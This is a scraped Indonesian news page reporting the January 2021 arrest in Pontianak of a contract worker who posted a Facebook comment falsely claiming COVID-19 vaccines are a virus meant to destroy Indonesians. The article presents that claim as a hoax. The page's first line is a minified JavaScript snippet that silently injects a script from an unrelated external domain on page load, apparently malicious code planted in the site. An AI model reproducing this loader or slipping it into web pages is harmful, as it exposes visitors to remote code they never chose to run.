(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Pontianak

Posting Vaksin Bisa Hancurkan Rakyat, Pegawai Honorer Diciduk


KANALKALIMANTAN.COM, PONTIANAK – AG, seorang pegawai honorer yang tinggal di Kota Baru, Pontianak Selatan, Kota Pontianak terpaksa berurusan dengan polisi.

Dia diamankan karena menyebarkan hoaks terkait pelaksanaan vaksinasi Covid-19. AG seorang pegawai honorer di Kalbar.

Kasubdit V Direktorat Reserse Kriminal Khusus Polda Kalbar, Kompol Dudung Setiawan menerangan, pengungkapan kasus ini bermula pada Senin, 25 Januari 2021 sekira pukul 09.00 Wib, Tim Patrol Siber Subdit 5 Ditreskrimsus sedang melakukan patroli siber di media sosial.

“Kemudian tim menemukan akun facebook AG menulis komentar yang mengandung berita bohong atau hoaks di grup facebook Pontianak Informasi (PI). Karena postingan tersebut mengandung muatan berita bohong tentang pemberian vaksin Covid-19, kemudian tim memburu pelaku,” jelas Dudung, Rabu (27/1/2021).

Akhirnya, pelaku dapat ditangkap di tempatnya bekerja pada 26 Januari 2021. Pria 31 tahun itu tak berkutik saat ditangkap di salah satu instansi di lingkungan Provinsi Kalbar, Jalan Adi Sucipto, Pontianak Tenggara.

Hasil pemeriksaan sementara, kata Dudung, pelaku menulis komentar di grup facebook Pontianak Informasi (PI) dengan menggunakan akun miliknya berinisial AG.

Pelaku mengakui melakukan perbuatan itu, pada Selasa 12 Januari 2021 sekira pukul 13.00 Wib di tempat kerjanya.
Inti dari komentar AG yang menyesatkan itu, bahwa vaksin Covid-19 adalah virus yang akan menghancurkan rakyat Indonesia. Karena virus yang disuntik itu akan bereaksi 4 hingga 6 bulan setelah warga Indonesia menerimanya.

Masih menurut AG dalam komentar itu, rakyat Indonesia diminta untuk berhati-hati jangan sampai tertipu. Ia berkomentar, orang yang sudah sehat tidak perlu disuntik dan jangan takut pada Covid-19.

Baginya, yang takut dan yakin pada virus corona ini adalah orang yang syirik menduakan Tuhan.
“Saat ini, pelaku dan sejumlah barang bukti masih diamankan dan diperiksa di Ditreskrimsus Polda Kalbar,” tutur Dudung.

Pelaku, kata Dudung, dipersangkakan Pasal 45A ayat (1) jo Pasal 28 ayat (1) Undang-undang Nomor 19 Tahun 2016 tentang Perubahan Atas Undang-undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik dan atau Pasal 14 ayat (2) Undang-Undang Nomor 1 Tahun 1946 tentang Peraturan Hukum Pidana.

“Kita masih melakukan pemeriksaan saksi ahli bahasa, ahli ITE dan ahli forensik. Secepatnya akam kita kirim ke Jaksa Penuntut Umum,” tutup Dudung. (suara.com)

Editor : Kk

 

 

 

 


Al Ghifari

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

8 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

11 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

16 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

17 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

19 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

23 jam ago

This website uses cookies.